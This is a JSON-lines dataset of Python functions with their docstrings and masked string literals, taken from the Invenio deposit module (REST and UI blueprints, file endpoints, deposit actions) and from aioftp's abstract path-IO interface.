{"signature": "def _prepare_edit(self, record):", "body": "data = record.dumps()<EOL>data['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] = record.revision_id<EOL>data['<STR_LIT>']['<STR_LIT:status>'] = '<STR_LIT>'<EOL>data['<STR_LIT>'] = self.build_deposit_schema(record)<EOL>return data<EOL>", "docstring": "Update selected keys.\n\n        :param record: The record to prepare.", "id": "f9213:c0:m11"}
{"signature": "@has_status(status='<STR_LIT>')<EOL><INDENT>@index<EOL>@mark_as_action<EOL>def edit(self, pid=None):<DEDENT>", "body": "pid = pid or self.pid<EOL>with db.session.begin_nested():<EOL><INDENT>before_record_update.send(<EOL>current_app._get_current_object(), record=self)<EOL>record_pid, record = self.fetch_published()<EOL>assert PIDStatus.REGISTERED == record_pid.status<EOL>assert record['<STR_LIT>'] == self['<STR_LIT>']<EOL>self.model.json = self._prepare_edit(record)<EOL>flag_modified(self.model, '<STR_LIT>')<EOL>db.session.merge(self.model)<EOL><DEDENT>after_record_update.send(<EOL>current_app._get_current_object(), record=self)<EOL>return self.__class__(self.model.json, model=self.model)<EOL>", "docstring": "Edit deposit.\n\n        #. The signal :data:`invenio_records.signals.before_record_update`\n           is sent before the edit execution.\n\n        #. The following meta information are saved inside the deposit:\n\n        .. code-block:: python\n\n            deposit['_deposit']['pid'] = record.revision_id\n            deposit['_deposit']['status'] = 'draft'\n            deposit['$schema'] = deposit_schema_from_record_schema\n\n        #. The signal :data:`invenio_records.signals.after_record_update` is\n            sent after the edit execution.\n\n        #. The deposit index is updated.\n\n        Status required: `published`.\n\n        .. note:: the process fails if the pid has status\n            :attr:`invenio_pidstore.models.PIDStatus.REGISTERED`.\n\n        :param pid: Force a pid object. (Default: ``None``)\n        :returns: A new Deposit object.", "id": "f9213:c0:m12"}
{"signature": "@has_status<EOL><INDENT>@index<EOL>@mark_as_action<EOL>def discard(self, pid=None):<DEDENT>", "body": "pid = pid or self.pid<EOL>with db.session.begin_nested():<EOL><INDENT>before_record_update.send(<EOL>current_app._get_current_object(), record=self)<EOL>_, record = self.fetch_published()<EOL>self.model.json = deepcopy(record.model.json)<EOL>self.model.json['<STR_LIT>'] = self.build_deposit_schema(record)<EOL>flag_modified(self.model, '<STR_LIT>')<EOL>db.session.merge(self.model)<EOL><DEDENT>after_record_update.send(<EOL>current_app._get_current_object(), record=self)<EOL>return self.__class__(self.model.json, model=self.model)<EOL>", "docstring": "Discard deposit changes.\n\n        #. The signal :data:`invenio_records.signals.before_record_update` is\n            sent before the edit execution.\n\n        #. It restores the last published version.\n\n        #. The following meta information are saved inside the deposit:\n\n        .. code-block:: python\n\n            deposit['$schema'] = deposit_schema_from_record_schema\n\n        #. The signal :data:`invenio_records.signals.after_record_update` is\n            sent after the edit execution.\n\n        #. The deposit index is updated.\n\n        Status required: ``'draft'``.\n\n        :param pid: Force a pid object. (Default: ``None``)\n        :returns: A new Deposit object.", "id": "f9213:c0:m13"}
{"signature": "@has_status<EOL><INDENT>@index(delete=True)<EOL>def delete(self, force=True, pid=None):<DEDENT>", "body": "pid = pid or self.pid<EOL>if self['<STR_LIT>'].get('<STR_LIT>'):<EOL><INDENT>raise PIDInvalidAction()<EOL><DEDENT>if pid:<EOL><INDENT>pid.delete()<EOL><DEDENT>return super(Deposit, self).delete(force=force)<EOL>", "docstring": "Delete deposit.\n\n        Status required: ``'draft'``.\n\n        :param force: Force deposit delete.  (Default: ``True``)\n        :param pid: Force pid object.  (Default: ``None``)\n        :returns: A new Deposit object.", "id": "f9213:c0:m14"}
{"signature": "@has_status<EOL><INDENT>@preserve(result=False)<EOL>def clear(self, *args, **kwargs):<DEDENT>", "body": "super(Deposit, self).clear(*args, **kwargs)<EOL>", "docstring": "Clear only drafts.\n\n        Status required: ``'draft'``.\n\n        Meta information inside `_deposit` are preserved.", "id": "f9213:c0:m15"}
{"signature": "@has_status<EOL><INDENT>@preserve(result=False)<EOL>def update(self, *args, **kwargs):<DEDENT>", "body": "super(Deposit, self).update(*args, **kwargs)<EOL>", "docstring": "Update only drafts.\n\n        Status required: ``'draft'``.\n\n        Meta information inside `_deposit` are preserved.", "id": "f9213:c0:m16"}
{"signature": "@has_status<EOL><INDENT>@preserve<EOL>def patch(self, *args, **kwargs):<DEDENT>", "body": "return super(Deposit, self).patch(*args, **kwargs)<EOL>", "docstring": "Patch only drafts.\n\n        Status required: ``'draft'``.\n\n        Meta information inside `_deposit` are preserved.", "id": "f9213:c0:m17"}
{"signature": "def _create_bucket(self):", "body": "return Bucket.create(storage_class=current_app.config[<EOL>'<STR_LIT>'<EOL>])<EOL>", "docstring": "Override bucket creation.", "id": "f9213:c0:m18"}
{"signature": "@property<EOL><INDENT>def status(self):<DEDENT>", "body": "return self['<STR_LIT>']['<STR_LIT:status>']<EOL>", "docstring": "Property for accessing deposit status.", "id": "f9213:c0:m19"}
{"signature": "@property<EOL><INDENT>def files(self):<DEDENT>", "body": "files_ = super(Deposit, self).files<EOL>if files_:<EOL><INDENT>sort_by_ = files_.sort_by<EOL>def sort_by(*args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if '<STR_LIT>' != self.status:<EOL><INDENT>raise PIDInvalidAction()<EOL><DEDENT>return sort_by_(*args, **kwargs)<EOL><DEDENT>files_.sort_by = sort_by<EOL><DEDENT>return files_<EOL>", "docstring": "List of Files inside the deposit.\n\n        Add validation on ``sort_by`` method: if, at the time of files access,\n        the record is not a ``'draft'`` then a\n        :exc:`invenio_pidstore.errors.PIDInvalidAction` is rised.", "id": "f9213:c0:m20"}
{"signature": "def deposit_links_factory(pid):", "body": "links = default_links_factory(pid)<EOL>def _url(name, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>endpoint = '<STR_LIT>'.format(<EOL>current_records_rest.default_endpoint_prefixes[pid.pid_type],<EOL>name,<EOL>)<EOL>return url_for(endpoint, pid_value=pid.pid_value, _external=True,<EOL>**kwargs)<EOL><DEDENT>links['<STR_LIT>'] = _url('<STR_LIT>')<EOL>ui_endpoint = current_app.config.get('<STR_LIT>')<EOL>if ui_endpoint is not None:<EOL><INDENT>links['<STR_LIT:html>'] = ui_endpoint.format(<EOL>host=request.host,<EOL>scheme=request.scheme,<EOL>pid_value=pid.pid_value,<EOL>)<EOL><DEDENT>deposit_cls = Deposit<EOL>if '<STR_LIT>' in request.view_args:<EOL><INDENT>deposit_cls = request.view_args['<STR_LIT>'].data[<NUM_LIT:1>].__class__<EOL><DEDENT>for action in extract_actions_from_class(deposit_cls):<EOL><INDENT>links[action] = _url('<STR_LIT>', action=action)<EOL><DEDENT>return links<EOL>", "docstring": "Factory for record links generation.\n\n    The dictionary is formed as:\n\n    .. code-block:: python\n\n        {\n            'files': '/url/to/files',\n            'publish': '/url/to/publish',\n            'edit': '/url/to/edit',\n            'discard': '/url/to/discard',\n            ...\n        }\n\n    :param pid: The record PID object.\n    :returns: A dictionary that contains all the links.", "id": "f9214:m0"}
{"signature": "def deposit_fetcher(record_uuid, data):", "body": "return FetchedPID(<EOL>provider=DepositProvider,<EOL>pid_type=DepositProvider.pid_type,<EOL>pid_value=str(data['<STR_LIT>']['<STR_LIT:id>']),<EOL>)<EOL>", "docstring": "Fetch a deposit identifier.\n\n    :param record_uuid: Record UUID.\n    :param data: Record content.\n    :returns: A :class:`invenio_pidstore.fetchers.FetchedPID` that contains\n        data['_deposit']['id'] as pid_value.", "id": "f9215:m0"}
{"signature": "def admin_permission_factory():", "body": "try:<EOL><INDENT>pkg_resources.get_distribution('<STR_LIT>')<EOL>from invenio_access.permissions import DynamicPermission as Permission<EOL><DEDENT>except pkg_resources.DistributionNotFound:<EOL><INDENT>from flask_principal import Permission<EOL><DEDENT>return Permission(action_admin_access)<EOL>", "docstring": "Factory for creating a permission for an admin `deposit-admin-access`.\n\n    If `invenio-access` module is installed, it returns a\n    :class:`invenio_access.permissions.DynamicPermission` object.\n    Otherwise, it returns a :class:`flask_principal.Permission` object.\n\n    :returns: Permission instance.", "id": "f9216:m0"}
{"signature": "def create_error_handlers(blueprint):", "body": "blueprint.errorhandler(PIDInvalidAction)(create_api_errorhandler(<EOL>status=<NUM_LIT>, message='<STR_LIT>'<EOL>))<EOL>records_rest_error_handlers(blueprint)<EOL>", "docstring": "Create error handlers on blueprint.", "id": "f9217:m0"}
{"signature": "def create_blueprint(endpoints):", "body": "blueprint = Blueprint(<EOL>'<STR_LIT>',<EOL>__name__,<EOL>url_prefix='<STR_LIT>',<EOL>)<EOL>create_error_handlers(blueprint)<EOL>for endpoint, options in (endpoints or {}).items():<EOL><INDENT>options = deepcopy(options)<EOL>if '<STR_LIT>' in options:<EOL><INDENT>files_serializers = options.get('<STR_LIT>')<EOL>files_serializers = {mime: obj_or_import_string(func)<EOL>for mime, func in files_serializers.items()}<EOL>del options['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>files_serializers = {}<EOL><DEDENT>if '<STR_LIT>' in options:<EOL><INDENT>serializers = options.get('<STR_LIT>')<EOL>serializers = {mime: obj_or_import_string(func)<EOL>for mime, func in serializers.items()}<EOL><DEDENT>else:<EOL><INDENT>serializers = {}<EOL><DEDENT>file_list_route = options.pop(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'.format(options['<STR_LIT>'])<EOL>)<EOL>file_item_route = options.pop(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'.format(options['<STR_LIT>'])<EOL>)<EOL>options.setdefault('<STR_LIT>', DepositSearch)<EOL>search_class = obj_or_import_string(options['<STR_LIT>'])<EOL>options.setdefault('<STR_LIT>', Deposit)<EOL>record_class = obj_or_import_string(options['<STR_LIT>'])<EOL>options.setdefault('<STR_LIT>', None)<EOL>for rule in records_rest_url_rules(endpoint, **options):<EOL><INDENT>blueprint.add_url_rule(**rule)<EOL><DEDENT>search_class_kwargs = {}<EOL>if options.get('<STR_LIT>'):<EOL><INDENT>search_class_kwargs['<STR_LIT:index>'] = options['<STR_LIT>']<EOL><DEDENT>if options.get('<STR_LIT>'):<EOL><INDENT>search_class_kwargs['<STR_LIT>'] = options['<STR_LIT>']<EOL><DEDENT>ctx = dict(<EOL>read_permission_factory=obj_or_import_string(<EOL>options.get('<STR_LIT>')<EOL>),<EOL>create_permission_factory=obj_or_import_string(<EOL>options.get('<STR_LIT>')<EOL>),<EOL>update_permission_factory=obj_or_import_string(<EOL>options.get('<STR_LIT>')<EOL>),<EOL>delete_permission_factory=obj_or_import_string(<EOL>options.get('<STR_LIT>')<EOL>),<EOL>record_class=record_class,<EOL>search_class=partial(search_class, **search_class_kwargs),<EOL>default_media_type=options.get('<STR_LIT>'),<EOL>)<EOL>deposit_actions = DepositActionResource.as_view(<EOL>DepositActionResource.view_name.format(endpoint),<EOL>serializers=serializers,<EOL>pid_type=options['<STR_LIT>'],<EOL>ctx=ctx,<EOL>)<EOL>blueprint.add_url_rule(<EOL>'<STR_LIT>'.format(<EOL>options['<STR_LIT>'],<EOL>'<STR_LIT:U+002C>'.join(extract_actions_from_class(record_class)),<EOL>),<EOL>view_func=deposit_actions,<EOL>methods=['<STR_LIT:POST>'],<EOL>)<EOL>deposit_files = DepositFilesResource.as_view(<EOL>DepositFilesResource.view_name.format(endpoint),<EOL>serializers=files_serializers,<EOL>pid_type=options['<STR_LIT>'],<EOL>ctx=ctx,<EOL>)<EOL>blueprint.add_url_rule(<EOL>file_list_route,<EOL>view_func=deposit_files,<EOL>methods=['<STR_LIT:GET>', '<STR_LIT:POST>', '<STR_LIT>'],<EOL>)<EOL>deposit_file = DepositFileResource.as_view(<EOL>DepositFileResource.view_name.format(endpoint),<EOL>serializers=files_serializers,<EOL>pid_type=options['<STR_LIT>'],<EOL>ctx=ctx,<EOL>)<EOL>blueprint.add_url_rule(<EOL>file_item_route,<EOL>view_func=deposit_file,<EOL>methods=['<STR_LIT:GET>', '<STR_LIT>', '<STR_LIT>'],<EOL>)<EOL><DEDENT>return blueprint<EOL>", "docstring": "Create Invenio-Deposit-REST blueprint.\n\n    See: :data:`invenio_deposit.config.DEPOSIT_REST_ENDPOINTS`.\n\n    :param endpoints: List of endpoints configuration.\n    :returns: The configured blueprint.", "id": "f9217:m1"}
{"signature": "def __init__(self, serializers, pid_type, ctx, *args, **kwargs):", "body": "super(DepositActionResource, self).__init__(<EOL>serializers,<EOL>default_media_type=ctx.get('<STR_LIT>'),<EOL>*args,<EOL>**kwargs<EOL>)<EOL>for key, value in ctx.items():<EOL><INDENT>setattr(self, key, value)<EOL><DEDENT>", "docstring": "Constructor.", "id": "f9217:c0:m0"}
{"signature": "@pass_record<EOL><INDENT>@need_record_permission('<STR_LIT>')<EOL>def post(self, pid, record, action):<DEDENT>", "body": "record = getattr(record, action)(pid=pid)<EOL>db.session.commit()<EOL>db.session.refresh(pid)<EOL>db.session.refresh(record.model)<EOL>post_action.send(current_app._get_current_object(), action=action,<EOL>pid=pid, deposit=record)<EOL>response = self.make_response(pid, record,<EOL><NUM_LIT> if action == '<STR_LIT>' else <NUM_LIT>)<EOL>endpoint = '<STR_LIT>'.format(pid.pid_type)<EOL>location = url_for(endpoint, pid_value=pid.pid_value, _external=True)<EOL>response.headers.extend(dict(Location=location))<EOL>return response<EOL>", "docstring": "Handle deposit action.\n\n        After the action is executed, a\n        :class:`invenio_deposit.signals.post_action` signal is sent.\n\n        Permission required: `update_permission_factory`.\n\n        :param pid: Pid object (from url).\n        :param record: Record object resolved from the pid.\n        :param action: The action to execute.", "id": "f9217:c0:m1"}
{"signature": "def __init__(self, serializers, pid_type, ctx, *args, **kwargs):", "body": "super(DepositFilesResource, self).__init__(<EOL>serializers,<EOL>*args,<EOL>**kwargs<EOL>)<EOL>for key, value in ctx.items():<EOL><INDENT>setattr(self, key, value)<EOL><DEDENT>", "docstring": "Constructor.", "id": "f9217:c1:m0"}
{"signature": "@pass_record<EOL><INDENT>@need_record_permission('<STR_LIT>')<EOL>def get(self, pid, record):<DEDENT>", "body": "return self.make_response(obj=record.files, pid=pid, record=record)<EOL>", "docstring": "Get files.\n\n        Permission required: `read_permission_factory`.\n\n        :param pid: Pid object (from url).\n        :param record: Record object resolved from the pid.\n        :returns: The files.", "id": "f9217:c1:m1"}
{"signature": "@require_api_auth()<EOL><INDENT>@require_oauth_scopes(write_scope.id)<EOL>@pass_record<EOL>@need_record_permission('<STR_LIT>')<EOL>def post(self, pid, record):<DEDENT>", "body": "<EOL>uploaded_file = request.files['<STR_LIT:file>']<EOL>key = secure_filename(<EOL>request.form.get('<STR_LIT:name>') or uploaded_file.filename<EOL>)<EOL>if key in record.files:<EOL><INDENT>raise FileAlreadyExists()<EOL><DEDENT>record.files[key] = uploaded_file.stream<EOL>record.commit()<EOL>db.session.commit()<EOL>return self.make_response(<EOL>obj=record.files[key].obj, pid=pid, record=record, status=<NUM_LIT>)<EOL>", "docstring": "Handle POST deposit files.\n\n        Permission required: `update_permission_factory`.\n\n        :param pid: Pid object (from url).\n        :param record: Record object resolved from the pid.", "id": "f9217:c1:m2"}
{"signature": "@require_api_auth()<EOL><INDENT>@require_oauth_scopes(write_scope.id)<EOL>@pass_record<EOL>@need_record_permission('<STR_LIT>')<EOL>def put(self, pid, record):<DEDENT>", "body": "try:<EOL><INDENT>ids = [data['<STR_LIT:id>'] for data in json.loads(<EOL>request.data.decode('<STR_LIT:utf-8>'))]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise WrongFile()<EOL><DEDENT>record.files.sort_by(*ids)<EOL>record.commit()<EOL>db.session.commit()<EOL>return self.make_response(obj=record.files, pid=pid, record=record)<EOL>", "docstring": "Handle the sort of the files through the PUT deposit files.\n\n        Expected input in body PUT:\n\n        .. code-block:: javascript\n\n            [\n                {\n                    \"id\": 1\n                },\n                {\n                    \"id\": 2\n                },\n                ...\n            }\n\n        Permission required: `update_permission_factory`.\n\n        :param pid: Pid object (from url).\n        :param record: Record object resolved from the pid.\n        :returns: The files.", "id": "f9217:c1:m3"}
{"signature": "def __init__(self, serializers, pid_type, ctx, *args, **kwargs):", "body": "super(DepositFileResource, self).__init__(<EOL>serializers,<EOL>*args,<EOL>**kwargs<EOL>)<EOL>for key, value in ctx.items():<EOL><INDENT>setattr(self, key, value)<EOL><DEDENT>", "docstring": "Constructor.", "id": "f9217:c2:m0"}
{"signature": "@use_kwargs(get_args)<EOL><INDENT>@pass_record<EOL>@need_record_permission('<STR_LIT>')<EOL>def get(self, pid, record, key, version_id, **kwargs):<DEDENT>", "body": "try:<EOL><INDENT>obj = record.files[str(key)].get_version(version_id=version_id)<EOL>return self.make_response(<EOL>obj=obj or abort(<NUM_LIT>), pid=pid, record=record)<EOL><DEDENT>except KeyError:<EOL><INDENT>abort(<NUM_LIT>)<EOL><DEDENT>", "docstring": "Get file.\n\n        Permission required: `read_permission_factory`.\n\n        :param pid: Pid object (from url).\n        :param record: Record object resolved from the pid.\n        :param key: Unique identifier for the file in the deposit.\n        :param version_id: File version. Optional. If no version is provided,\n            the last version is retrieved.\n        :returns: the file content.", "id": "f9217:c2:m1"}
{"signature": "@require_api_auth()<EOL><INDENT>@require_oauth_scopes(write_scope.id)<EOL>@pass_record<EOL>@need_record_permission('<STR_LIT>')<EOL>def put(self, pid, record, key):<DEDENT>", "body": "try:<EOL><INDENT>data = json.loads(request.data.decode('<STR_LIT:utf-8>'))<EOL>new_key = data['<STR_LIT:filename>']<EOL><DEDENT>except KeyError:<EOL><INDENT>raise WrongFile()<EOL><DEDENT>new_key_secure = secure_filename(new_key)<EOL>if not new_key_secure or new_key != new_key_secure:<EOL><INDENT>raise WrongFile()<EOL><DEDENT>try:<EOL><INDENT>obj = record.files.rename(str(key), new_key_secure)<EOL><DEDENT>except KeyError:<EOL><INDENT>abort(<NUM_LIT>)<EOL><DEDENT>record.commit()<EOL>db.session.commit()<EOL>return self.make_response(obj=obj, pid=pid, record=record)<EOL>", "docstring": "Handle the file rename through the PUT deposit file.\n\n        Permission required: `update_permission_factory`.\n\n        :param pid: Pid object (from url).\n        :param record: Record object resolved from the pid.\n        :param key: Unique identifier for the file in the deposit.", "id": "f9217:c2:m2"}
{"signature": "@require_api_auth()<EOL><INDENT>@require_oauth_scopes(write_scope.id)<EOL>@pass_record<EOL>@need_record_permission('<STR_LIT>')<EOL>def delete(self, pid, record, key):<DEDENT>", "body": "try:<EOL><INDENT>del record.files[str(key)]<EOL>record.commit()<EOL>db.session.commit()<EOL>return make_response('<STR_LIT>', <NUM_LIT>)<EOL><DEDENT>except KeyError:<EOL><INDENT>abort(<NUM_LIT>, '<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Handle DELETE deposit file.\n\n        Permission required: `update_permission_factory`.\n\n        :param pid: Pid object (from url).\n        :param record: Record object resolved from the pid.\n        :param key: Unique identifier for the file in the deposit.", "id": "f9217:c2:m3"}
{"signature": "def create_blueprint(endpoints):", "body": "from invenio_records_ui.views import create_url_rule<EOL>blueprint = Blueprint(<EOL>'<STR_LIT>',<EOL>__name__,<EOL>static_folder='<STR_LIT>',<EOL>template_folder='<STR_LIT>',<EOL>url_prefix='<STR_LIT>',<EOL>)<EOL>@blueprint.errorhandler(PIDDeletedError)<EOL>def tombstone_errorhandler(error):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return render_template(<EOL>current_app.config['<STR_LIT>'],<EOL>pid=error.pid,<EOL>record=error.record or {},<EOL>), <NUM_LIT><EOL><DEDENT>for endpoint, options in (endpoints or {}).items():<EOL><INDENT>options = deepcopy(options)<EOL>options.pop('<STR_LIT>', None)<EOL>options.pop('<STR_LIT>', None)<EOL>blueprint.add_url_rule(**create_url_rule(endpoint, **options))<EOL><DEDENT>@blueprint.route('<STR_LIT>')<EOL>@login_required<EOL>def index():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return render_template(current_app.config['<STR_LIT>'])<EOL><DEDENT>@blueprint.route('<STR_LIT>')<EOL>@login_required<EOL>def new():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>deposit_type = request.values.get('<STR_LIT:type>')<EOL>return render_template(<EOL>current_app.config['<STR_LIT>'],<EOL>record={'<STR_LIT>': {'<STR_LIT:id>': None}},<EOL>jsonschema=current_deposit.jsonschemas[deposit_type],<EOL>schemaform=current_deposit.schemaforms[deposit_type],<EOL>)<EOL><DEDENT>return blueprint<EOL>", "docstring": "Create Invenio-Deposit-UI blueprint.\n\n    See: :data:`invenio_deposit.config.DEPOSIT_RECORDS_UI_ENDPOINTS`.\n\n    :param endpoints: List of endpoints configuration.\n    :returns: The configured blueprint.", "id": "f9219:m0"}
{"signature": "def default_view_method(pid, record, template=None):", "body": "record_viewed.send(<EOL>current_app._get_current_object(),<EOL>pid=pid,<EOL>record=record,<EOL>)<EOL>deposit_type = request.values.get('<STR_LIT:type>')<EOL>return render_template(<EOL>template,<EOL>pid=pid,<EOL>record=record,<EOL>jsonschema=current_deposit.jsonschemas[deposit_type],<EOL>schemaform=current_deposit.schemaforms[deposit_type],<EOL>)<EOL>", "docstring": "Default view method.\n\n    Sends ``record_viewed`` signal and renders template.", "id": "f9219:m1"}
{"signature": "@app.cli.group()<EOL>def fixtures():", "body": "", "docstring": "Command for working with test data.", "id": "f9220:m0"}
{"signature": "@fixtures.command()<EOL>@cli.with_appcontext<EOL>def records():", "body": "import pkg_resources<EOL>from dojson.contrib.marc21 import marc21<EOL>from dojson.contrib.marc21.utils import create_record, split_blob<EOL>from flask_login import login_user, logout_user<EOL>from invenio_accounts.models import User<EOL>from invenio_deposit.api import Deposit<EOL>users = User.query.all()<EOL>data_path = pkg_resources.resource_filename(<EOL>'<STR_LIT>', '<STR_LIT>'<EOL>)<EOL>with open(data_path) as source:<EOL><INDENT>with current_app.test_request_context():<EOL><INDENT>indexer = RecordIndexer()<EOL>with db.session.begin_nested():<EOL><INDENT>for index, data in enumerate(split_blob(source.read()),<EOL>start=<NUM_LIT:1>):<EOL><INDENT>login_user(users[index % len(users)])<EOL>record = marc21.do(create_record(data))<EOL>indexer.index(Deposit.create(record))<EOL>logout_user()<EOL><DEDENT><DEDENT>db.session.commit()<EOL><DEDENT><DEDENT>", "docstring": "Load records.", "id": "f9220:m1"}
{"signature": "@fixtures.command()<EOL>@cli.with_appcontext<EOL>def location():", "body": "d = current_app.config['<STR_LIT>']<EOL>with db.session.begin_nested():<EOL><INDENT>Location.query.delete()<EOL>loc = Location(name='<STR_LIT>', uri=d, default=True)<EOL>db.session.add(loc)<EOL><DEDENT>db.session.commit()<EOL>", "docstring": "Load default location.", "id": "f9220:m2"}
{"signature": "def universal_exception(coro):", "body": "@functools.wraps(coro)<EOL>async def wrapper(*args, **kwargs):<EOL><INDENT>try:<EOL><INDENT>return await coro(*args, **kwargs)<EOL><DEDENT>except (asyncio.CancelledError, NotImplementedError,<EOL>StopAsyncIteration):<EOL><INDENT>raise<EOL><DEDENT>except Exception:<EOL><INDENT>raise errors.PathIOError(reason=sys.exc_info())<EOL><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "Decorator. Reraising any exception (except `CancelledError` and\n`NotImplementedError`) with universal exception\n:py:class:`aioftp.PathIOError`", "id": "f9224:m0"}
{"signature": "def defend_file_methods(coro):", "body": "@functools.wraps(coro)<EOL>async def wrapper(self, file, *args, **kwargs):<EOL><INDENT>if isinstance(file, AsyncPathIOContext):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>return await coro(self, file, *args, **kwargs)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorator. Raises exception when file methods called with wrapped by\n:py:class:`aioftp.AsyncPathIOContext` file object.", "id": "f9224:m1"}
{"signature": "@property<EOL><INDENT>def state(self):<DEDENT>", "body": "", "docstring": "Shared pathio state per server", "id": "f9224:c2:m1"}
{"signature": "@universal_exception<EOL><INDENT>@abc.abstractmethod<EOL>async def exists(self, path):<DEDENT>", "body": "", "docstring": ":py:func:`asyncio.coroutine`\n\nCheck if path exists\n\n:param path: path to check\n:type path: :py:class:`pathlib.Path`\n\n:rtype: :py:class:`bool`", "id": "f9224:c2:m2"}
{"signature": "@universal_exception<EOL><INDENT>@abc.abstractmethod<EOL>async def is_dir(self, path):<DEDENT>", "body": "", "docstring": ":py:func:`asyncio.coroutine`\n\nCheck if path is directory\n\n:param path: path to check\n:type path: :py:class:`pathlib.Path`\n\n:rtype: :py:class:`bool`", "id": "f9224:c2:m3"}
{"signature": "@universal_exception<EOL><INDENT>@abc.abstractmethod<EOL>async def is_file(self, path):<DEDENT>", "body": "", "docstring": ":py:func:`asyncio.coroutine`\n\nCheck if path is file\n\n:param path: path to check\n:type path: :py:class:`pathlib.Path`\n\n:rtype: :py:class:`bool`", "id": "f9224:c2:m4"}
{"signature": "@universal_exception<EOL><INDENT>@abc.abstractmethod<EOL>async def mkdir(self, path, *, parents=False, exist_ok=False):<DEDENT>", "body": "", "docstring": ":py:func:`asyncio.coroutine`\n\nMake directory\n\n:param path: path to create\n:type path: :py:class:`pathlib.Path`\n\n:param parents: create parents is does not exists\n:type parents: :py:class:`bool`\n\n:param exist_ok: do not raise exception if directory already exists\n:type exist_ok: :py:class:`bool`", "id": "f9224:c2:m5"}
{"signature": "@universal_exception<EOL><INDENT>@abc.abstractmethod<EOL>async def rmdir(self, path):<DEDENT>", "body": "", "docstring": ":py:func:`asyncio.coroutine`\n\nRemove directory\n\n:param path: path to remove\n:type path: :py:class:`pathlib.Path`", "id": "f9224:c2:m6"}
{"signature": "@universal_exception<EOL><INDENT>@abc.abstractmethod<EOL>async def unlink(self, path):<DEDENT>", "body": "", "docstring": ":py:func:`asyncio.coroutine`\n\nRemove file\n\n:param path: path to remove\n:type path: :py:class:`pathlib.Path`", "id": "f9224:c2:m7"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def list(self, path):<DEDENT>", "body": "", "docstring": "Create instance of subclass of :py:class:`aioftp.AbstractAsyncLister`.\nYou should subclass and implement `__anext__` method\nfor :py:class:`aioftp.AbstractAsyncLister` and return new instance.\n\n:param path: path to list\n:type path: :py:class:`pathlib.Path`\n\n:rtype: :py:class:`aioftp.AbstractAsyncLister`\n\nUsage:\n::\n\n    >>> async for p in pathio.list(path):\n    ...     # do\n\nor borring instance of :py:class:`list`:\n::\n\n    >>> paths = await pathio.list(path)\n    >>> paths\n    [path, path, path, ...]", "id": "f9224:c2:m8"}
{"signature": "@universal_exception<EOL><INDENT>@abc.abstractmethod<EOL>async def stat(self, path):<DEDENT>", "body": "", "docstring": ":py:func:`asyncio.coroutine`\n\nGet path stats\n\n:param path: path, which stats need\n:type path: :py:class:`pathlib.Path`\n\n:return: path stats. For proper work you need only this stats:\n  st_size, st_mtime, st_ctime, st_nlink, st_mode\n:rtype: same as :py:class:`os.stat_result`", "id": "f9224:c2:m9"}
{"signature": "@universal_exception<EOL><INDENT>@abc.abstractmethod<EOL>async def _open(self, path, mode):<DEDENT>", "body": "", "docstring": ":py:func:`asyncio.coroutine`\n\nOpen file. You should implement \"mode\" argument, which can be:\n\"rb\", \"wb\", \"ab\" (read, write, append. all binary). Return type depends\non implementation, anyway the only place you need this file-object\nis in your implementation of read, write and close\n\n:param path: path to create\n:type path: :py:class:`pathlib.Path`\n\n:param mode: specifies the mode in which the file is opened (\"rb\",\n    \"wb\", \"ab\", \"r+b\" (read, write, append, read/write, all binary))\n:type mode: :py:class:`str`\n\n:return: file-object", "id": "f9224:c2:m10"}
{"signature": "def open(self, *args, **kwargs):", "body": "return AsyncPathIOContext(self, args, kwargs)<EOL>", "docstring": "Create instance of :py:class:`aioftp.pathio.AsyncPathIOContext`,\nparameters passed to :py:meth:`aioftp.AbstractPathIO._open`\n\n:rtype: :py:class:`aioftp.pathio.AsyncPathIOContext`", "id": "f9224:c2:m11"}
{"signature": "@universal_exception<EOL><INDENT>@defend_file_methods<EOL>@abc.abstractmethod<EOL>async def seek(self, file, offset, whence=io.SEEK_SET):<DEDENT>", "body": "", "docstring": ":py:func:`asyncio.coroutine`\n\nChange the stream position to the given byte `offset`. Same behaviour\nas :py:meth:`io.IOBase.seek`\n\n:param file: file-object from :py:class:`aioftp.AbstractPathIO.open`\n\n:param offset: relative byte offset\n:type offset: :py:class:`int`\n\n:param whence: base position for offset\n:type whence: :py:class:`int`", "id": "f9224:c2:m12"}
{"signature": "@universal_exception<EOL><INDENT>@defend_file_methods<EOL>@abc.abstractmethod<EOL>async def write(self, file, data):<DEDENT>", "body": "", "docstring": ":py:func:`asyncio.coroutine`\n\nWrite some data to file\n\n:param file: file-object from :py:class:`aioftp.AbstractPathIO.open`\n\n:param data: data to write\n:type data: :py:class:`bytes`", "id": "f9224:c2:m13"}
{"signature": "@universal_exception<EOL><INDENT>@defend_file_methods<EOL>@abc.abstractmethod<EOL>async def read(self, file, block_size):<DEDENT>", "body": "", "docstring": ":py:func:`asyncio.coroutine`\n\nRead some data from file\n\n:param file: file-object from :py:class:`aioftp.AbstractPathIO.open`\n\n:param block_size: bytes count to read\n:type block_size: :py:class:`int`\n\n:rtype: :py:class:`bytes`", "id": "f9224:c2:m14"}
{"signature": "@universal_exception<EOL><INDENT>@defend_file_methods<EOL>@abc.abstractmethod<EOL>async def close(self, file):<DEDENT>", "body": "", "docstring": ":py:func:`asyncio.coroutine`\n\nClose file\n\n:param file: file-object from :py:class:`aioftp.AbstractPathIO.open`", "id": "f9224:c2:m15"}
{"signature": "@universal_exception<EOL><INDENT>@abc.abstractmethod<EOL>async def rename(self, source, destination):<DEDENT>", "body": "", "docstring": ":py:func:`asyncio.coroutine`\n\nRename path\n\n:param source: rename from\n:type source: :py:class:`pathlib.Path`\n\n:param destination: rename to\n:type destination: :py:class:`pathlib.Path`", "id": "f9224:c2:m16"}
